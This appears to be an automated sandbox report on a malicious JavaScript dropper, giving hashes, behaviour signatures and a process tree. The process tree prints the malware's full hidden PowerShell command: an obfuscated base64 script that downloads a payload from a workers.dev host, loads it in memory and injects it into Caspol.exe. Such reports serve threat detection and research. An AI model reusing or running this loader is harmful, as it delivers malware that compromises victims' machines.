Analysis
- max time kernel
299s - max time network
127s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
24/09/2026, 07:13
Static task
static1
Behavioral task
behavioral1
Sample
SKMBT_C22426090812140.js
Resource
win10v2004-20260911-en
11 signatures
300 seconds
Behavioral task
behavioral2
Sample
SKMBT_C22426090812140.js
Resource
win11ltsc2024-20260911-en
10 signatures
300 seconds
General
- Target SKMBT_C22426090812140.js
- Size 32KB
- Sample260924-h2dqsage64
- SHA256 3ba1140b1234fa0ff8f85e294bac9c127244eb5e5e19ecea28923a17945f91c5
- MD5 3c8b1542087d31249b0f23886aab4950
- SHA1 d308331ca7d458c676621cde151afd7660f2f54c
- SHA512 a25c8f83c833106eb53c4e180de65de1a837d5cc04f913c536c958fbb386b346340f9237d62e2ddcfbebf060a70e71d906dd4929158c35a7e40af383c5cc9bd9
- SSDEEP 96:bgK0btnJ9AeVrXtN629oRsAqRxRe21nJ1G2WGIRpTazVWHxwWDRwJ+yw1Fouhzxt:bDSw6NvRxxXGZIWRlJM/WHPD
- TLSH T1CFE2252312DAA9A6BC9B9D382D73D29DCDAF35418D19F18480323B35CFF3C88C596995
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2156 996 powershell.exe 90 - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 7 2156 powershell.exe 9 2156 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2156 powershell.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2156 set thread context of 4168 2156 powershell.exe 96 - Command and Scripting Interpreter: JavaScript 1 TTPs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4668 cmd.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2156 powershell.exe 2156 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2156 powershell.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 2156 wrote to memory of 4668 2156 powershell.exe 93 PID 2156 wrote to memory of 4168 2156 powershell.exe 96 PID 2156 wrote to memory of 4168 2156 powershell.exe 96 PID 2156 wrote to memory of 4168 2156 powershell.exe 96 PID 2156 wrote to memory of 4168 2156 powershell.exe 96 PID 2156 wrote to memory of 4168 2156 powershell.exe 96 PID 2156 wrote to memory of 4168 2156 powershell.exe 96 PID 2156 wrote to memory of 4168 2156 powershell.exe 96 PID 2156 wrote to memory of 4168 2156 powershell.exe 96 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\SKMBT_C22426090812140.js1⤵PID:820
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JiAoICRzSGVMTElEWzFdKyRTaGVMTElkWzEzXSsneCcpKCAoKCdoeDhwYXBsb21lciA9IENrNmh0dHBzOi8vcm91Z2gtdHJ1dGgtZTA3Mi4nKydwdWJsaWNmdHByZXNlbmQud29ya2Vycy5kZXYvdHdicHdsbUNrNjsgaHg4bm9uZGlzZmlndXJlZCA9IENrNkM6RUg1VXNlcnNFSDVQdWJsJysnaWNFSDVEb3dubG9hZHNFSDVwYXknKydsb2FkLnR4JysndENrNjsgaHg4bScrJ2lzZmVyZSA9IFthY3RpdmF0b3JdOjpjcmVhdGVJbnN0YW5jZShbbmV0JysnLndlYmNsaWVudF0pJysnOyBoeDhtaXNmZXJlLkhlJysnYWRlcnMuQWRkKENrNlVzZXItQWdlbnRDazYsIENrNk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjAuMCcrJy4wLjAgU2FmYXJpLzUzNy4zNkMnKydrNik7IGh4OG1pc2ZlcmUuRG93bmxvJysnYWRGaWxlKGh4OHBhcGxvbWVyLCBoeDhub25kaXNmaWd1cmVkKTsgaHg4aXJyYXRpb25hbCcrJ2lzdCA9IChHZXQtQ29udGVudCBoeDhub25kaXNmaWcnKyd1cmVkIC1SYXcpOyBoeDhicmlkZWdpZnQgPSBoeDhpcnJhdGlvbmFsaScrJ3N0LlJlcGxhY2UoSVZmKklWZixJVmZBSVZmKTsgaHg4cG90cGxhbnRzID0gW2NoYXJbXV0oKGh4OGJyJysnaWRlZ2lmdC5Ub0MnKydoYXJBcicrJ3JheSgpKVsoaHg4YnJpZGVnaWZ0Lkxlbmd0aC0xKS4uMF0pOyBoJysneDhtaXNtYW5uZXJlZCA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoLWpvaW4gaHg4cG90cGxhbnRzKTsgW0FwcERvbWFpbl06OicrJ0N1cnJlbnREb21haW4uTG9hZChoeDhtaXMnKydtYW5uZXJlZCkgYUknKydXIE91dC0nKydOdWxsOyBbV2luMzIuUk1QLmFhYWFhYWFdOjphYWFhYWEnKydhYWFhYShJVmZDTlZtOHVnekd6MHNEbGJCempTSDZRRDBZempPU1JrM3I3WDBmRjYzZWJrZ3J2azZKcHU1bmt5emJ5NFM0TGZEM2pUWldjbHFJTVZmNVkyRklXM0VCZVVObHdCTXZmdk5BREdiWkxQdzcwJysnND1JVmYsSVZmaDNQYjNjcUxMTlR1WUonKycvVXpsMWQySDFySzlyM0hzMGQxYlVpdjNTNkc2bz1JVmYsSVZmRmZ5TG45YWV1UnhkMScrJ3hDNC80SEhGWG1HQ2l4OWtXOXZJUkt0RXphWFM0VnpoWE1MOVcyQUx2JysnbUZYJysnTENQNHoxdUlWJysnZixJVmZ5Mm9hMUlUS3c4QScrJ1JZTWdVMmtwL21QZWRuSGQ1JysneScrJ1JxL1dSKycrJ2p2TUhLaG1JPUlWZixJVmYnKydiUXlpZ3pBcm9kSzN2eVVmbjhjNGo5JysnZUxuUFJqUXZuVmpkTUZXSnJCaWtrPUknKydWZixJVmZJVmYsSVZmK3VJclJtYk5GVGtpeVlkbEV5VUdzWW1MVUhlM2RMcDFva0ZjZTZoQWFEZz1JVmYsSVZmcXpEMHVvZW8vVE5OdDFpWGN4ZTlScTArYkJXJysnWU9KNGt5TEU1b3V1cjJEQT1JVmYsSVZmJysnK0M3VU5UemxmSHQ2Vy9LcnoxRWhJUHZPNlZ0JysnbFNSRG12d3ovam8vWHZ5a0tMbGxBcnF4Q1hVbycrJ2M1azk0UW5lVmU5ZWFVbFV0d2UnKydHSithemdEdzRNK0dpTCtlTXQ0dFRrJysnaC9hZ3N6dHVJN3c9SVZmLElWZlVKS0ZGJysnemdiRDFwNWwwM2NFdHdGQnZXaXhFVjR3Yk4zVDVFSkoxSEhDMStTVldEJysnQ1FnendJQWtqM3BJSGZMTHFJVmYsSVZmVWkzZmhNdXQnKycyVDloS2VvNzAyYXlqOWs4NUtOQVc2Q08wS29xJysnYmVXY2tqMD1JVmYsSVZmSVZmLElWZicrJ0ZJaUJrLzkyeFZLdWpuTzhtNS90ZWIrbktJOGppbkJoVlhMUlBmNlpia2s9SVZmLElWZnFuU010SWx0MnhJVUJGZFVVbUtFWE1jMnBYWnFmTG4nKyc4UVVBLy85bFlyUEE9SVZmLElWZnlta1Z6eFI2R2xsUScrJ2lsck5XS09NUktOUVNDRjJLYXZWR2c3TittaUJTYms9SVZmLElWZnVOZ3lTY1RldGwnKydkJysnYjR6WG5wNUpHV3h3UzR0TlpLUmxqWmswd3VablRGYzg9SVZmLElWZklWZixJVmZJVmYsSVZmJysnSVZmKTsgUmVtb3ZlLUl0ZW0gLVBhdGggaHg4bm8nKyduZGlzZmlndXJlZCAtRm9yY2UgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUnKS1jUmVwbGFjZSAoW0NIYXJdNzMrW0NIYXJdODYrW0NIYXJdMTAyKSxbQ0hhcl0zOSAtcmVQTGFDRSdFSDUnLFtDSGFyXTkyLXJlUExhQ0UgJ2FJVycsW0NIYXJdMTI0IC1yZVBMYUNFICAnQ2s2JyxbQ0hhcl0zNCAgLXJlUExhQ0UgJ2h4OCcsW0NIYXJdMzYpICk=')) } | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2156 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C copy *. "C:\\Users\\Public\\Downloads\\CGpozDOPUj."2⤵
- Executes a command shell one-liner
PID:4668
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe2⤵PID:4168
-
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C:\Windows\system32\wscript.exewscript.exe1⤵PID:4392
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x2mysykz.nes.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH